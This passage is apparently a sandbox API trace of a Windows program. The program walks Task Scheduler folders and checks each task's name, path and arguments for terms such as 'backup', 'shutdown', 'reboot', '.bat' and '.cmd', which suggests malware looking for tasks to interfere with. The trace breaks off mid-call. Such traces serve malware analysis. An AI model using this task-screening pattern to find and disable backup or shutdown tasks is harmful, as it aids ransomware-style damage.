[0153.719] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0153.720] IRegisteredTask:get_Definition (in: This=0x2460a40, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fab8) returned 0x0 [0154.210] ITaskDefinition:get_Actions (in: This=0x47fab8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2460a88) returned 0x0 [0154.210] IActionCollection:get_Count (in: This=0x2460a88, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0154.210] IActionCollection:get_Item (in: This=0x2460a88, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fe40) returned 0x0 [0154.210] IAction:get_Type (in: This=0x47fe40, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0154.210] IUnknown:QueryInterface (in: This=0x47fe40, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fe40) returned 0x0 [0154.210] IExecAction:get_Path (in: This=0x47fe40, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0154.210] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2860 [0154.210] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0154.210] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0154.210] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0154.211] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0154.211] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0154.211] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0154.211] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0154.211] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0154.211] IExecAction:get_Arguments (in: This=0x47fe40, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem") returned 0x0 [0154.211] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x6d9308 [0154.211] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="reboot") returned 0x0 [0154.211] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="restart") returned 0x0 [0154.211] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="shutdown") returned 0x0 [0154.211] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="logoff") returned 0x0 [0154.211] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".bat") returned 0x0 [0154.211] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="backup") returned 0x0 [0154.211] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".cmd") returned 0x0 [0154.211] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9308) returned 1 [0154.211] IUnknown:Release (This=0x47fe40) returned 0x2 [0154.211] IUnknown:Release (This=0x47fe40) returned 0x1 [0154.211] IUnknown:Release (This=0x2460a88) returned 0x1 [0154.211] IUnknown:Release (This=0x47fab8) returned 0x0 [0154.211] IUnknown:Release (This=0x2460a40) returned 0x0 [0154.211] IUnknown:Release (This=0x24609b8) returned 0x0 [0154.211] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0154.789] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0154.789] IUnknown:Release (This=0x24609b8) returned 0x0 [0154.789] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0154.789] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0154.789] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609d8) returned 0x0 [0155.047] IRegisteredTaskCollection:get_Count (in: This=0x24609d8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0155.047] IUnknown:Release (This=0x24609d8) returned 0x0 [0155.047] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609d8) returned 0x0 [0155.048] ITaskFolderCollection:get_Count (in: This=0x24609d8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0155.048] IUnknown:Release (This=0x24609d8) returned 0x0 [0155.048] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0155.048] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0155.048] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609d0) returned 0x0 [0155.048] IRegisteredTaskCollection:get_Count (in: This=0x24609d0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0155.048] IRegisteredTaskCollection:get_Item (in: This=0x24609d0, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a68) returned 0x0 [0155.048] IRegisteredTask:get_Name (in: This=0x2460a68, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SynchronizeTime") returned 0x0 [0155.048] IRegisteredTask:get_State (in: This=0x2460a68, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0155.050] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e62f8 [0155.050] wcsstr (_Str="synchronizetime", _SubStr="reboot") returned 0x0 [0155.050] wcsstr (_Str="synchronizetime", _SubStr="restart") returned 0x0 [0155.050] wcsstr (_Str="synchronizetime", _SubStr="shutdown") returned 0x0 [0155.050] wcsstr (_Str="synchronizetime", _SubStr="logoff") returned 0x0 [0155.050] wcsstr (_Str="synchronizetime", _SubStr=".bat") returned 0x0 [0155.050] wcsstr (_Str="synchronizetime", _SubStr="backup") returned 0x0 [0155.050] wcsstr (_Str="synchronizetime", _SubStr=".cmd") returned 0x0 [0155.050] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e62f8) returned 1 [0155.050] IRegisteredTask:get_Definition (in: This=0x2460a68, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fac8) returned 0x0 [0155.058] ITaskDefinition:get_Actions (in: This=0x47fac8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fb40) returned 0x0 [0155.058] IActionCollection:get_Count (in: This=0x47fb40, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0155.058] IActionCollection:get_Item (in: This=0x47fb40, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fdb0) returned 0x0 [0155.058] IAction:get_Type (in: This=0x47fdb0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0155.058] IUnknown:QueryInterface (in: This=0x47fdb0, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fdb0) returned 0x0 [0155.058] IExecAction:get_Path (in: This=0x47fdb0, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\sc.exe") returned 0x0 [0155.058] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0155.058] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="reboot") returned 0x0 [0155.058] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="restart") returned 0x0 [0155.058] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="shutdown") returned 0x0 [0155.058] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="logoff") returned 0x0 [0155.058] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".bat") returned 0x0 [0155.058] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="backup") returned 0x0 [0155.058] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".cmd") returned 0x0 [0155.058] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0155.058] IExecAction:get_Arguments (in: This=0x47fdb0, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="start w32time task_started") returned 0x0 [0155.058] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x36) returned 0x6c9c90 [0155.058] wcsstr (_Str="start w32time task_started", _SubStr="reboot") returned 0x0 [0155.058] wcsstr (_Str="start w32time task_started", _SubStr="restart") returned 0x0 [0155.058] wcsstr (_Str="start w32time task_started", _SubStr="shutdown") returned 0x0 [0155.058] wcsstr (_Str="start w32time task_started", _SubStr="logoff") returned 0x0 [0155.058] wcsstr (_Str="start w32time task_started", _SubStr=".bat") returned 0x0 [0155.058] wcsstr (_Str="start w32time task_started", _SubStr="backup") returned 0x0 [0155.058] wcsstr (_Str="start w32time task_started", _SubStr=".cmd") returned 0x0 [0155.058] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0155.058] IUnknown:Release (This=0x47fdb0) returned 0x2 [0155.058] IUnknown:Release (This=0x47fdb0) returned 0x1 [0155.059] IUnknown:Release (This=0x47fb40) returned 0x1 [0155.059] IUnknown:Release (This=0x47fac8) returned 0x0 [0155.059] IUnknown:Release (This=0x2460a68) returned 0x0 [0155.059] IUnknown:Release (This=0x24609d0) returned 0x0 [0155.059] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609d0) returned 0x0 [0155.059] ITaskFolderCollection:get_Count (in: This=0x24609d0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0155.059] IUnknown:Release (This=0x24609d0) returned 0x0 [0155.059] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0155.059] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0155.059] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b0) returned 0x0 [0155.060] IRegisteredTaskCollection:get_Count (in: This=0x24609b0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0155.060] IUnknown:Release (This=0x24609b0) returned 0x0 [0155.060] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b0) returned 0x0 [0155.060] ITaskFolderCollection:get_Count (in: This=0x24609b0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0155.060] IUnknown:Release (This=0x24609b0) returned 0x0 [0155.060] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0155.060] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0155.060] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609d0) returned 0x0 [0155.060] IRegisteredTaskCollection:get_Count (in: This=0x24609d0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0155.060] IUnknown:Release (This=0x24609d0) returned 0x0 [0155.061] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609d0) returned 0x0 [0155.061] ITaskFolderCollection:get_Count (in: This=0x24609d0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0155.061] IUnknown:Release (This=0x24609d0) returned 0x0 [0155.061] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0155.061] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x28, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0155.061] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b0) returned 0x0 [0155.061] IRegisteredTaskCollection:get_Count (in: This=0x24609b0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0155.061] IUnknown:Release (This=0x24609b0) returned 0x0 [0155.061] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b0) returned 0x0 [0155.062] ITaskFolderCollection:get_Count (in: This=0x24609b0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0155.062] IUnknown:Release (This=0x24609b0) returned 0x0 [0155.062] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0155.062] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0155.062] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609d8) returned 0x0 [0155.063] IRegisteredTaskCollection:get_Count (in: This=0x24609d8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0155.063] IRegisteredTaskCollection:get_Item (in: This=0x24609d8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a80) returned 0x0 [0155.063] IRegisteredTask:get_Name (in: This=0x2460a80, pName=0x5cf9f8 | out: pName=0x5cf9f8*="QueueReporting") returned 0x0 [0155.063] IRegisteredTask:get_State (in: This=0x2460a80, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0155.066] IUnknown:Release (This=0x2460a80) returned 0x0 [0155.066] IUnknown:Release (This=0x24609d8) returned 0x0 [0155.066] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609d8) returned 0x0 [0155.067] ITaskFolderCollection:get_Count (in: This=0x24609d8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0155.067] IUnknown:Release (This=0x24609d8) returned 0x0 [0155.067] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0155.067] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0155.067] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609e0) returned 0x0 [0155.067] IRegisteredTaskCollection:get_Count (in: This=0x24609e0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0155.067] IUnknown:Release (This=0x24609e0) returned 0x0 [0155.067] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609e0) returned 0x0 [0155.068] ITaskFolderCollection:get_Count (in: This=0x24609e0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0155.068] IUnknown:Release (This=0x24609e0) returned 0x0 [0155.068] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0155.068] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0155.068] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609d8) returned 0x0 [0155.068] IRegisteredTaskCollection:get_Count (in: This=0x24609d8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0155.068] IRegisteredTaskCollection:get_Item (in: This=0x24609d8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a80) returned 0x0 [0155.068] IRegisteredTask:get_Name (in: This=0x2460a80, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateLibrary") returned 0x0 [0155.068] IRegisteredTask:get_State (in: This=0x2460a80, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0155.070] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e63e8 [0155.070] wcsstr (_Str="updatelibrary", _SubStr="reboot") returned 0x0 [0155.070] wcsstr (_Str="updatelibrary", _SubStr="restart") returned 0x0 [0155.070] wcsstr (_Str="updatelibrary", _SubStr="shutdown") returned 0x0 [0155.070] wcsstr (_Str="updatelibrary", _SubStr="logoff") returned 0x0 [0155.070] wcsstr (_Str="updatelibrary", _SubStr=".bat") returned 0x0 [0155.070] wcsstr (_Str="updatelibrary", _SubStr="backup") returned 0x0 [0155.070] wcsstr (_Str="updatelibrary", _SubStr=".cmd") returned 0x0 [0155.070] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e63e8) returned 1 [0155.070] IRegisteredTask:get_Definition (in: This=0x2460a80, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fac8) returned 0x0 [0155.075] ITaskDefinition:get_Actions (in: This=0x47fac8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fb40) returned 0x0 [0155.075] IActionCollection:get_Count (in: This=0x47fb40, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0155.075] IActionCollection:get_Item (in: This=0x47fb40, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fe58) returned 0x0 [0155.075] IAction:get_Type (in: This=0x47fe58, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0155.075] IUnknown:QueryInterface (in: This=0x47fe58, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fe58) returned 0x0 [0155.075] IExecAction:get_Path (in: This=0x47fe58, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="\"%ProgramFiles%\\Windows Media Player\\wmpnscfg.exe\"") returned 0x0 [0155.075] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x66) returned 0x6eb1d8 [0155.075] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="reboot") returned 0x0 [0155.075] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="restart") returned 0x0 [0155.075] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="shutdown") returned 0x0 [0155.075] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="logoff") returned 0x0 [0155.075] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".bat") returned 0x0 [0155.075] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="backup") returned 0x0 [0155.075] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".cmd") returned 0x0 [0155.075] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6eb1d8) returned 1 [0155.075] IExecAction:get_Arguments (in: This=0x47fe58, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0155.075] IUnknown:Release (This=0x47fe58) returned 0x2 [0155.075] IUnknown:Release (This=0x47fe58) returned 0x1 [0155.075] IUnknown:Release (This=0x47fb40) returned 0x1 [0155.075] IUnknown:Release (This=0x47fac8) returned 0x0 [0155.075] IUnknown:Release (This=0x2460a80) returned 0x0 [0155.075] IUnknown:Release (This=0x24609d8) returned 0x0 [0155.075] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609d8) returned 0x0 [0155.076] ITaskFolderCollection:get_Count (in: This=0x24609d8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0155.076] IUnknown:Release (This=0x24609d8) returned 0x0 [0155.076] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0155.076] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0155.076] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460978) returned 0x0 [0155.076] IRegisteredTaskCollection:get_Count (in: This=0x2460978, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0155.076] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a10) returned 0x0 [0155.076] IRegisteredTask:get_Name (in: This=0x2460a10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigNotification") returned 0x0 [0155.076] IRegisteredTask:get_State (in: This=0x2460a10, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0155.078] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0155.078] wcsstr (_Str="confignotification", _SubStr="reboot") returned 0x0 [0155.078] wcsstr (_Str="confignotification", _SubStr="restart") returned 0x0 [0155.078] wcsstr (_Str="confignotification", _SubStr="shutdown") returned 0x0 [0155.078] wcsstr (_Str="confignotification", _SubStr="logoff") returned 0x0 [0155.078] wcsstr (_Str="confignotification", _SubStr=".bat") returned 0x0 [0155.078] wcsstr (_Str="confignotification", _SubStr="backup") returned 0x0 [0155.078] wcsstr (_Str="confignotification", _SubStr=".cmd") returned 0x0 [0155.078] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0155.078] IRegisteredTask:get_Definition (in: This=0x2460a10, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0156.332] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0156.333] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0156.333] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd88) returned 0x0 [0156.333] IAction:get_Type (in: This=0x47fd88, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0156.333] IUnknown:QueryInterface (in: This=0x47fd88, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd88) returned 0x0 [0156.333] IExecAction:get_Path (in: This=0x47fd88, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%systemroot%\\System32\\sdclt.exe") returned 0x0 [0156.333] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c26f8 [0156.333] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="reboot") returned 0x0 [0156.333] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="restart") returned 0x0 [0156.333] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="shutdown") returned 0x0 [0156.333] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="logoff") returned 0x0 [0156.333] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".bat") returned 0x0 [0156.333] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr="backup") returned 0x0 [0156.333] wcsstr (_Str="%systemroot%\\system32\\sdclt.exe", _SubStr=".cmd") returned 0x0 [0156.333] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c26f8) returned 1 [0156.333] IExecAction:get_Arguments (in: This=0x47fd88, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/CONFIGNOTIFICATION") returned 0x0 [0156.333] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0156.333] wcsstr (_Str="/confignotification", _SubStr="reboot") returned 0x0 [0156.333] wcsstr (_Str="/confignotification", _SubStr="restart") returned 0x0 [0156.333] wcsstr (_Str="/confignotification", _SubStr="shutdown") returned 0x0 [0156.333] wcsstr (_Str="/confignotification", _SubStr="logoff") returned 0x0 [0156.333] wcsstr (_Str="/confignotification", _SubStr=".bat") returned 0x0 [0156.333] wcsstr (_Str="/confignotification", _SubStr="backup") returned 0x0 [0156.333] wcsstr (_Str="/confignotification", _SubStr=".cmd") returned 0x0 [0156.333] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0156.333] IUnknown:Release (This=0x47fd88) returned 0x2 [0156.333] IUnknown:Release (This=0x47fd88) returned 0x1 [0156.333] IUnknown:Release (This=0x47fac8) returned 0x1 [0156.333] IUnknown:Release (This=0x47fa50) returned 0x0 [0156.334] IUnknown:Release (This=0x2460a10) returned 0x0 [0156.334] IUnknown:Release (This=0x2460978) returned 0x0 [0156.334] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460978) returned 0x0 [0156.334] ITaskFolderCollection:get_Count (in: This=0x2460978, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0156.334] IUnknown:Release (This=0x2460978) returned 0x0 [0156.334] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0156.334] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0156.334] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609d0) returned 0x0 [0156.335] IRegisteredTaskCollection:get_Count (in: This=0x24609d0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0156.335] IRegisteredTaskCollection:get_Item (in: This=0x24609d0, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a68) returned 0x0 [0156.335] IRegisteredTask:get_Name (in: This=0x2460a68, pName=0x5cf9f8 | out: 